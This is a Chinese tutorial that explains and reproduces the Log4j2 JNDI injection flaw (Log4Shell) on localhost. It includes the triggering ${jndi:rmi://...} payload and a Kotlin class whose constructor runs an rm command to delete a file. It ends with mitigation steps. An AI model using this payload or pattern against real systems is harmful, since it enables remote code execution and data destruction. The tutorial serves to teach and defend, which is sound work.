说起核弹,你可能会想到这样的↓
也可能是这样的↓
但是在2021年的12月,它可能是这样的↓
在这样一个12月里,大家讨论最多的应该就是Log4j2的核弹级漏洞。
幸灾乐祸的人表示在使用 Logback。
劫后余生的人表示 **** ****。
流啤的人表示有JNDI防注入。
可能还有一部分人,脑袋上可能都是问号,
不知道是什么漏洞
为什么是核弹级的
怎么触发的
又要怎么规避呢
好的,我就属于脑袋上全是问号的这一类,所以也实践复现了一把,一起来看看如何“丢核弹”。
在实际操作之前,我们先来了解两个概念,
Log4j2 Lookups 和 JNDI。
Log4j2 Lookups
Lookups
可以理解为一些特定类型的插件,这些插件实现了StrLookup
接口,能够在Log4j配置中的特定位置写入指定数据。
如何识别到需要通过插件来解析并写入数据呢? 当遇到指定格式的内容时(通常是${ xxx }
),就会进行判断。
举个栗子,插件中就包含JavaLookup,可以实现Java环境信息的注入,
<File name="Application" fileName="application.log">
<PatternLayout header="${java:runtime} - ${java:vm} - ${java:os}">
<Pattern>%d %m%n</Pattern>
</PatternLayout>
</File>
复制代码
这样就能在最终输出的日志头部,包含当前Java runtime、vm以及os环境信息。
官方提供的Lookups种类也不少,
每种Lookup都具有不同的功能,具体可以参考官方说明。
(Log4j – Log4j 2 Lookups)
那么,看上去只是一个作用于配置文件的扩展型模块,为什么会导致这么大的问题呢?
关键就在其中的一个扩展,JndiLookup。
JNDI
JNDI(Java Naming and Directory Interface, Java命名和目录接口)
是SUN公司提供的一种标准的Java命令系统接口,服务供应商可以通过JNDI API映射为特定的名字及目录对外提供服务,服务使用者则可以通过服务地址及服务名进行使用。JNDI 可访问的现有目录及服务包括DNS、LDAP、RMI等。
JNDI主要分为三个层面:
模块 | 说明 |
---|---|
JNDI API | 用于和JAVA应用通信的上层API |
Naming Manager | 命名管理服务,统一管理下层服务供应商提供的服务 |
JNDI SPI | 服务供应接口,由具体的服务供应商提供具体实现,例如RMI、LDAP等 |
通过JNDI可以对上层应用提供服务,以RMI为例看下面的例子:
RemoteApiInterface.java
public interface RemoteApiInterface extends Remote {
public String execCommand(String command) throws RemoteException;
}
RemoteApi.kt
class RemoteApi: RemoteApiInterface, ObjectFactory {
override fun execCommand(): String {
return "success"
}
override fun getObjectInstance(obj: Any?, name: Name?, nameCtx: Context?, environment: Hashtable<*, *>?): Any? {
return null
}
}
RMIServer.kt
//创建服务中心,同时监听1099端口
val registry = LocateRegistry.createRegistry(1099)
//构建对象引用并进行包装
val reference = Reference("RemoteApi", "priv.test.log4j2.RemoteApi", null)
val wrapper = ReferenceWrapper(reference)
//服务中心绑定对象引用,命名为remote
registry.bind("remote", wrapper)
RMIClient.kt
//获取远程服务中心
val registry = LocateRegistry.getRegistry("127.0.0.1", 1099)
//搜索名为remote的服务
val remote = registry.lookup("remote") as RemoteApiInterface
//调用remote的execCommand方法,输出结果
println(remote.execCommand())
复制代码
整个流程很简单,
- 服务供应商构建了一个远程服务,服务包装了一个引用对象
- 通过服务中心对外暴露远程服务,并命名为 remote
- 客户端获取服务中心,搜索并获取名为 remote 的服务
- 调用remote服务的execCommand方法
- 最终输出success
那么问题来了,JDNI为何和这次的漏洞有关?
别着急,先来了解另外一个东西,
JNDI注入
JNDI注入
看上去JNDI只是定义了一套标准接口,服务供应商能对外提供服务,但是这个过程中是存在一定的安全风险的。
在2016年的BlackHat上,pentester 有提到过一个议题《 A Journey From JNDI LDAP Manipulation To RCE》,介绍了Java中利用 JNDI 的协议动态转化注入加载远程代码,从而实现RCE的方法。
要进行注入攻击,需要满足以下几个条件:
- JNDI 调用中的
lookup()
参数可控 - 使用带协议的 URI 进行动态协议转换
- 构建远程服务实例,在客户端获取远程服务实例信息并进行初始化时,触发攻击
以刚才的RMIClient.kt
为例,我们略作修改,
//收集用户输入信息
val inputScanner = Scanner(System.`in`)
val userInput = inputScanner.next()
//用户输入信息触发lookup查找远程服务
val initialContext = InitialContext()
initialContext.lookup(userInput)
复制代码
这样首先满足第一个,lookup()
参数由用户决定。同时,业务逻辑中包含方法可以通过带协议URI触发远程服务查询,在本例中,我们输入rmi://127.0.0.1:1099/remote
,就会将服务供应商提供的RemoteApi类信息传递到客户端本地,并构建服务实例。
走到这一步,你可能也会有疑问, 只是获取了服务实例并初始化,并未做方法调用,要怎么触发攻击呢?
这就回归到Java类首次加载时流程, 除了加载基础的类信息,同时会对类中的静态变量、代码块进行初始化,然后初始化普通变量,调用构造函数。
想到了吗, 关键就在静态代码块和构造函数, 在首次类加载并进行实例化的时候会进行调用。
我们对RemoteApi.kt
进行略微修改,
RemoteApi.kt
class RemoteApi: RemoteApiInterface, ObjectFactory {
constructor() {
Runtime.getRuntime().exec("rm /Users/mmq/Temporary/data")
}
override fun execCommand(): String {
return "success"
}
override fun getObjectInstance(obj: Any?, name: Name?, nameCtx: Context?, environment: Hashtable<*, *>?): Any? {
return null
}
}
复制代码
我们在构造函数中,通过Java Application Runtime执行命令rm
,下图为执行前后的结果。
执行前data
文件还在,执行后就被删除了。
由此可以看出,一旦JNDI注入成功,产生的后果是很可怕的,基本可以在受害者机器上执行任意操作。
Log4j2 漏洞
看到这里,可能还是没能解决你心里的疑惑, 这一切和Log4j2有什么关系呢, 虽然JNDI注入可以实现攻击, 但是除非我自己在日志配置文件里引入了JNDILookups, 否则也无法对注入的JNDI URI协议进行转换和解析对吧?
那么触发核弹的按钮究竟在哪? 很简单, 输出一条日志就可以了。
我们来修改一下RMIClient.kt
,全部的代码如下:
//构建日志Logger
val logger = LogManager.getLogger()
//收集用户输入信息
val inputScanner = Scanner(System.`in`)
val userInput = inputScanner.next()
//通过logger输出用户输入内容
logger.info(userInput)
复制代码
在客户端,我们输入${jndi:rmi://127.0.0.1:1099/remote}
,下图为执行结果。
在这段例子中,我们不再显式查找对应的JNDI RMI服务,只是输出了一条日志,同样触发了攻击。
这是为什么呢?
核弹的按钮
从上面的例子来看, 只是简单的做了日志输出, 为什么会触发攻击呢?
其实关键动作就触发在 Log4j2 输出日志的过程中。 在输出日志的 Message Body (%m/%msg)时, MessagePatternConverter
会进行消息格式化,会使用StrSubstitutor
的substitute(...)
方法,当判断发现变量以${
作为前缀,并以}
作为后缀时,就会进入字符串替换逻辑,最终进入resolveVariable(...)
进行变量解析,其中解析器就包含了JNDILookup。
完整的调用栈如下:
所以,当在输出日志时,如果发现${...}
格式的内容时,就会进行Lookup解析,我们注入的JNDI RMI就会被触发,从远程服务供应商获取服务并实例化,触发攻击。
如何避免被攻击
- 升级Log4j2,官方发布了最新的2.15版本可以解决这个问题。
(实测2.15.0已经修复,从Maven仓库中心看到的漏洞列表来看,也没有了CVE-2021-44228)
2. 修改log4j2配置,关闭MessageLookup,对于JAVA项目,可以直接在启动参数上添加-Dlog4j2.formatMsgNoLookups=true
。
(实测有效,关闭log4j2的Message Body的lookups解析)
3. 防火墙,类似阿里云WAF等防火墙都具备防注入的功能。
4. JAVA Agent 改写,也是集团平台在用的方法。在类加载的过程中识别到JNIManager并进行改写,避免JNILookups解析。
写在最后
其实在我自己复现这个漏洞之前,是没有意识到问题的严重性的,Log4j2
作为JAVA生态中的基础组件,影响范围也非常的大。安全问题不容小觑。